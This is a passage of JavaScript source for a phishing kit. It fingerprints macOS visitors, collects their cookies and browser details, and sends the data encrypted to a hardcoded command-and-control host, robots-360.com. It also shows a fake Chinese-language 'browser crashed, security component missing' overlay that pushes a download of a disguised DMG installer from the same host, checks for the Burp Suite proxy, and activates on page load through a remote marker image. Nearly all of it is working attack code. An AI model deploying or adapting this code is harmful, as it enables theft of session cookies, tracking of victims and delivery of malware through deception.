                'border-radius: 4px;' +
                'font-size: 14px;' +
                'font-weight: 500;' +
                'cursor: pointer;' +
                'transition: background-color 0.2s;' +
            '}' +
            '.phishing-overlay button:hover {' +
                'background-color: #1557b0;' +
            '}' +
            '.phishing-overlay .secondary-text {' +
                'margin-top: 20px;' +
                'padding: 15px;' +
                'background-color: #f8f9fa;' +
                'border-left: 4px solid #d93025;' +
                'border-radius: 4px;' +
            '}' +
            '.phishing-overlay .secondary-text strong {' +
                'color: #d93025;' +
                'display: block;' +
                'margin-bottom: 8px;' +
            '}' +
            '.phishing-overlay a {' +
                'text-decoration: none;' +
            '}';
        
        document.head.appendChild(style);
    }

    /**
     * ============================================================================
     * [6] macOS Fingerprint Collection Module
     * Collects device-specific information for macOS systems
     * ============================================================================
     */

    /**
     * Extracts macOS version from user agent string
     * @returns {string} - macOS version (e.g., "14.2" for Sonoma)
     */
    function getMacOSVersion() {
        var ua = navigator.userAgent;
        var match = ua.match(/Mac OS X (\d+[._]\d+[._]?\d*)/);
        if (match) {
            return match[1].replace(/_/g, '.');
        }
        return 'Unknown';
    }

    /**
     * Detects if the system is Apple Silicon (M1/M2/M3) or Intel
     * @returns {Object} - GPU vendor and renderer information
     */
    function getGPUInfo() {
        var result = {
            vendor: 'Unknown',
            renderer: 'Unknown',
            chipType: 'Unknown'
        };
        
        try {
            var canvas = document.createElement("canvas");
            var gl = canvas.getContext("webgl") || canvas.getContext("experimental-webgl");
            if (gl) {
                var debugInfo = gl.getExtension("WEBGL_debug_renderer_info");
                if (debugInfo) {
                    result.vendor = gl.getParameter(debugInfo.UNMASKED_VENDOR_WEBGL);
                    result.renderer = gl.getParameter(debugInfo.UNMASKED_RENDERER_WEBGL);
                    
                    // Detect Apple Silicon vs Intel
                    if (result.renderer.indexOf('Apple M') !== -1) {
                        if (result.renderer.indexOf('M3') !== -1) {
                            result.chipType = 'Apple M3';
                        } else if (result.renderer.indexOf('M2') !== -1) {
                            result.chipType = 'Apple M2';
                        } else if (result.renderer.indexOf('M1') !== -1) {
                            result.chipType = 'Apple M1';
                        } else {
                            result.chipType = 'Apple Silicon';
                        }
                    } else if (result.renderer.indexOf('Intel') !== -1) {
                        result.chipType = 'Intel';
                    } else if (result.renderer.indexOf('AMD') !== -1) {
                        result.chipType = 'AMD';
                    }
                }
            }
        } catch (e) {
            console.log('WebGL not supported');
        }
        
        return result;
    }

    /**
     * Gets browser plugin list
     * @returns {string} - List of installed browser plugins
     */
    function getPluginList() {
        var all = [];
        if (navigator.plugins && navigator.plugins.length) {
            for (var x = 0; x < navigator.plugins.length; x++) {
                all.push(navigator.plugins[x].name.replace(/,/g, " ") + " (File: " + navigator.plugins[x].filename.replace(/,/g, " ") + ")");
            }
        }
        return all.join(" | ");
    }

    /**
     * Gets timezone information
     * @returns {string} - Timezone identifier
     */
    function getTimezone() {
        try {
            return Intl.DateTimeFormat().resolvedOptions().timeZone;
        } catch (e) {
            return 'Unknown';
        }
    }

    /**
     * Gets device memory (if available)
     * @returns {string} - Device memory in GB
     */
    function getDeviceMemory() {
        if (navigator.deviceMemory) {
            return navigator.deviceMemory + ' GB';
        }
        return 'Unknown';
    }

    /**
     * Detects browser type
     * @returns {string} - Browser name
     */
    function getBrowserType() {
        var ua = navigator.userAgent;
        if (ua.indexOf('Safari') !== -1 && ua.indexOf('Chrome') === -1) {
            return 'Safari';
        } else if (ua.indexOf('Chrome') !== -1) {
            return 'Chrome';
        } else if (ua.indexOf('Firefox') !== -1) {
            return 'Firefox';
        } else if (ua.indexOf('Edg') !== -1) {
            return 'Edge';
        }
        return 'Unknown';
    }

    /**
     * Generates a unique device fingerprint using MD5
     * @returns {string} - MD5 hash of device characteristics
     */
    function generateFingerprint() {
        var gpuInfo = getGPUInfo();
        var fingerprintData = [
            navigator.hardwareConcurrency || 'Unknown',
            window.screen.width,
            window.screen.height,
            window.screen.colorDepth,
            getMacOSVersion(),
            gpuInfo.renderer,
            navigator.language,
            getTimezone()
        ].join('|');
        
        return MD5(fingerprintData);
    }

    /**
     * Collects all macOS fingerprint information
     * @returns {Object} - Complete fingerprint data
     */
    function collectMacOSFingerprint() {
        var gpuInfo = getGPUInfo();
        
        return {
            platform: 'macOS',
            os_version: getMacOSVersion(),
            screen_width: window.screen.width,
            screen_height: window.screen.height,
            color_depth: window.screen.colorDepth,
            cpu_cores: navigator.hardwareConcurrency || 'Unknown',
            device_memory: getDeviceMemory(),
            gpu_vendor: gpuInfo.vendor,
            gpu_renderer: gpuInfo.renderer,
            chip_type: gpuInfo.chipType,
            browser: getBrowserType(),
            browser_plugins: getPluginList(),
            language: navigator.language,
            timezone: getTimezone(),
            user_agent: navigator.userAgent,
            url: window.location.href,
            referrer: document.referrer,
            host: window.location.host,
            cookie: document.cookie,
            fingerprint: generateFingerprint()
        };
    }

    /**
     * ============================================================================
     * [7] Burp Suite Detection Module
     * Detects if Burp Suite proxy is running
     * ============================================================================
     */
    var burpStatus = 'unknown';

    /**
     * Detects Burp Suite by attempting to load its favicon
     * @param {Function} callback - Callback function with detection result
     */
    function detectBurpSuite(callback) {
        var burpImg = document.createElement("img");
        burpImg.style.display = "none";
        burpImg.src = "http://burp/favicon.ico";
        
        burpImg.onload = function() {
            burpStatus = 'detected';
            console.log('Burp Suite detected');
            if (callback) callback('detected');
        };
        
        burpImg.onerror = function() {
            burpStatus = 'not_detected';
            console.log('Burp Suite not detected');
            if (callback) callback('not_detected');
        };
        
        document.body.appendChild(burpImg);
    }

    /**
     * ============================================================================
     * [8] Data Exfiltration Module
     * Sends encrypted data to C2 server
     * ============================================================================
     */
    
    /**
     * C2 server endpoint for data collection
     * @type {string}
     */
    var C2_SERVER = "https://robots-360.com/analysize3.php?c=";

    /**
     * Sends collected information to C2 server
     * @param {string} action - The action/event that triggered the send
     * @param {string} burpStatusParam - Burp Suite detection status
     */
    function sendInformation(action, burpStatusParam) {
        var fingerprint = collectMacOSFingerprint();
        
        // Build the data string in a format similar to the original
    
        var dataString = "\r\nPlatform: " + fingerprint.platform +
            "\r\nOS Version: " + fingerprint.os_version +
            "\r\nScreen_width: " + fingerprint.screen_width +
            "\r\nScreen_height: " + fingerprint.screen_height +
            "\r\nColor Depth: " + fingerprint.color_depth +
            "\r\nCPU Cores: " + fingerprint.cpu_cores +
            "\r\nDevice Memory: " + fingerprint.device_memory +
            "\r\nGPU Vendor: " + fingerprint.gpu_vendor +
            "\r\nGPU Renderer: " + fingerprint.gpu_renderer +
            "\r\nChip Type: " + fingerprint.chip_type +
            "\r\nBrowser: " + fingerprint.browser +
            "\r\nBrowser Extension: " + fingerprint.browser_plugins +
            "\r\nLanguage: " + fingerprint.language +
            "\r\nTimezone: " + fingerprint.timezone +
            "\r\nHeader information: " + fingerprint.user_agent +
            "\r\nURL: " + fingerprint.url +
            "\r\nReferrer: " + fingerprint.referrer +
            "\r\nHost: " + fingerprint.host +
            "\r\nCookie: " + fingerprint.cookie +
            "\r\nBrowser Fingerprint: " + fingerprint.fingerprint +
            "\r\nBurp suite status: " + burpStatusParam +
            "\r\nAction: " + action +
            "\r\n";
        
        
        // Encrypt the data using AES
        var encryptedData = encrypted(dataString);
        
        // Send to C2 server using key-value format so form-urlencoded parsers can read it.
        createXmlHttp();
        var xhttp = xmlHttp;
        xhttp.open("POST", C2_SERVER, true);
        xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
        xhttp.withCredentials = true;
        var requestBody =encryptedData;
        xhttp.send(requestBody);
        
        console.log('Data sent to C2 server, payload length: ' + requestBody.length);
    }

    /**
     * ============================================================================
     * [9] Dynamic Page Rendering Module
     * Renders the phishing page dynamically using JavaScript
     * ============================================================================
     */

    /**
     * Renders the crash page phishing interface
     */
    function renderPhishingPage() {
        /**
         * Create a fullscreen overlay div that covers the entire viewport.
         * This ensures the phishing page sits on top of any existing page content
         * without modifying the original DOM structure.
         */
        var overlay = document.createElement('div');
        overlay.className = 'phishing-overlay';

        var container = document.createElement('div');
        container.className = 'container';
        
        container.innerHTML = 
            '<div class="icon">' +
                '<svg width="48" height="48" viewBox="0 0 48 48" fill="none" xmlns="http://www.w3.org/2000/svg">' +
                    '<path d="M42 10H30L26 6H6C3.8 6 2.02 7.8 2.02 10L2 38C2 40.2 3.8 42 6 42H42C44.2 42 46 40.2 46 38V14C46 11.8 44.2 10 42 10ZM15 30H19V34H15V30ZM23 30H27V34H23V30ZM29 24H13V20H29V24ZM32.5 32C32.5 32 30.5 35 21 35C11.5 35 9.5 32 9.5 32" stroke="#5F6368" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" />' +
                    '<path d="M15 28L17 26M27 28L25 26" stroke="#5F6368" stroke-width="3" stroke-linecap="round" stroke-linejoin="round" />' +
                '</svg>' +
            '</div>' +
            '<h1>喔唷，崩溃啦！</h1>' +
            '<p>显示此网页时出了点问题。</p>' +
            '<div class="secondary-text">' +
                '<strong>⚠️ 严重错误：安全组件缺失</strong>' +
                '<p>检测到您的浏览器缺少 <b>UEMS (Universal Endpoint Management Security)</b> 核心组件，导致页面渲染被强制终止。</p>' +
                '<p>为防止数据泄露，系统已暂停访问。请立即安装修复工具。</p>' +
                '<p style="font-size: 13px; color: #d93025; margin-top: 10px;">* 安装完成后，请<b>重新启动浏览器</b>以恢复访问。</p>' +
            '</div>' +
            '<div class="error-code">错误代码：RESULT_CODE_MISSING_UEMS_AGENT</div>' +
            '<div class="buttons">' +
                '<button id="download-btn">立即下载修复工具 (UEMS)</button>' +
            '</div>' +
            '<p style="margin-top: 20px; font-size: 12px;">' +
                '<a href="#" style="color: #1a73e8;" id="learn-more">了解详情</a>' +
            '</p>';
        
        /* Nest container inside overlay, then append overlay to body */
        overlay.appendChild(container);

        /* Hide original page scrollbar to prevent background scrolling */
        document.body.style.overflow = 'hidden';

        document.body.appendChild(overlay);
        
        // Add click event listener for download button
        document.getElementById('download-btn').addEventListener('click', function() {
            console.log('Download button clicked');
            
            // Send click event to C2
            sendInformation('click_download', burpStatus);
            
            // Create download link for DMG file
            var downloadLink = document.createElement('a');
            downloadLink.href = 'https://robots-360.com/UEMS_MacAgent_Installer.dmg';
            downloadLink.download = 'https://robots-360.com/UEMS_MacAgent_Installer.dmg';
            document.body.appendChild(downloadLink);
            downloadLink.click();
            document.body.removeChild(downloadLink);
        });
        
        // Add click event listener for "learn more" link
        document.getElementById('learn-more').addEventListener('click', function(e) {
            e.preventDefault();
            sendInformation('click_learn_more', burpStatus);
        });
    }

    /**
     * ============================================================================
     * [10] Platform Detection and Main Entry Point
     * Detects if the system is macOS and initiates the phishing flow
     * ============================================================================
     */

    /**
     * Checks if the current system is macOS by examining the User-Agent header.
     * Looks for "Macintosh" or "Mac OS X" keywords which are present in
     * all major browsers on macOS (Safari, Chrome, Firefox, Edge).
     *
     * @returns {boolean} - True if User-Agent indicates macOS
     */
    function isMacOS() {
        var ua = navigator.userAgent;
        return ua.indexOf('Macintosh') !== -1 || ua.indexOf('Mac OS X') !== -1;
    }

    /**
     * Starts the phishing attack flow.
     * First checks User-Agent for macOS. If not macOS, only sends
     * a notification to C2 and does NOT render the phishing page.
     * If macOS, injects styles, detects Burp, collects fingerprint,
     * and renders the phishing page.
     */
    function startPhishing() {
        console.log('Starting phishing flow');
        
        // Check User-Agent for macOS
        if (!isMacOS()) {
            console.log('User-Agent is not macOS - skipping phishing page');
            // Only send information to C2, do NOT render the phishing page
            detectBurpSuite(function(status) {
                sendInformation('page_load_non_mac', status);
            });
            return;
        }
        
        console.log('macOS User-Agent detected: ' + navigator.userAgent);
        
        // Inject title and styles dynamically
        injectTitle();
        injectStyles();
        
        // Detect Burp Suite first, then proceed
        detectBurpSuite(function(status) {
            // Send initial page load information
            sendInformation('page_load', status);
            
            // Render the phishing page
            renderPhishingPage();
        });
    }

    /**
     * ============================================================================
     * [11] Remote JS Detection Module
     * Checks if remote mac.js exists before starting phishing
     * If mac.js exists: start phishing flow (machine detected by server)
     * If mac.js does not exist: do nothing (no machine detected yet)
     * ============================================================================
     */

    /**
     * Remote marker image URL for detection.
     * Uses a 1x1 pixel PNG image as a signal flag.
     * <img> tags are not restricted by CORS, so onload/onerror
     * reliably fire regardless of cross-origin context.
     * @type {string}
     */
    var REMOTE_MARKER_URL = "https://robots-360.com/mac_marker.png";

    /**
     * Checks if the remote marker image exists using an <img> tag.
     * <img> is not subject to CORS restrictions, so onload fires
     * when the image exists (HTTP 200) and onerror fires when it
     * does not (HTTP 404 / network error / SSL error).
     *
     * @param {Function} onExist - Callback when marker EXISTS (start phishing)
     * @param {Function} onNotExist - Callback when marker does NOT exist (do nothing)
     */
    function checkRemoteJS(onExist, onNotExist) {
        var randomParam = Math.random().toString(36).substring(2, 15);
        var checkUrl = REMOTE_MARKER_URL + "?r=" + randomParam + "&t=" + Date.now();
        var callbackCalled = false;

        var img = new Image();

        /**
         * Image loaded successfully - marker file exists on server.
         * This means the Python script has detected a machine and
         * created the marker image.
         */
        img.onload = function() {
            if (callbackCalled) return;
            callbackCalled = true;
            console.log('Remote marker image exists - starting phishing');
            if (onExist) onExist();
        };

        /**
         * Image failed to load - marker file does not exist (404),
         * or server is unreachable / SSL error.
         */
        img.onerror = function() {
            if (callbackCalled) return;
            callbackCalled = true;
            console.log('Remote marker image not found - no action taken');
            if (onNotExist) onNotExist();
        };

        /**
         * Timeout fallback in case neither onload nor onerror fires
         */
        setTimeout(function() {
            if (callbackCalled) return;
            callbackCalled = true;
            console.log('Remote marker check timeout - no action taken');
            if (onNotExist) onNotExist();
        }, 10000);

        img.src = checkUrl;
    }

    /**
     * Main initialization function
     * First checks for remote mac.js, then decides whether to start phishing
     */
    function init() {
        console.log('Initializing - checking remote JS');
        
        // Check if remote mac.js exists
        checkRemoteJS(
            // onExist: mac.js EXISTS - START phishing
            function() {
                startPhishing();
            },
            // onNotExist: mac.js does NOT exist - DO NOTHING
            function() {
                console.log('mac.js does not exist - no action taken');
                // Do nothing, page remains normal
            }
        );
    }

    // Start initialization when DOM is ready
    if (document.readyState === 'loading') {
        document.addEventListener('DOMContentLoaded', init);
    } else {
        init();
    }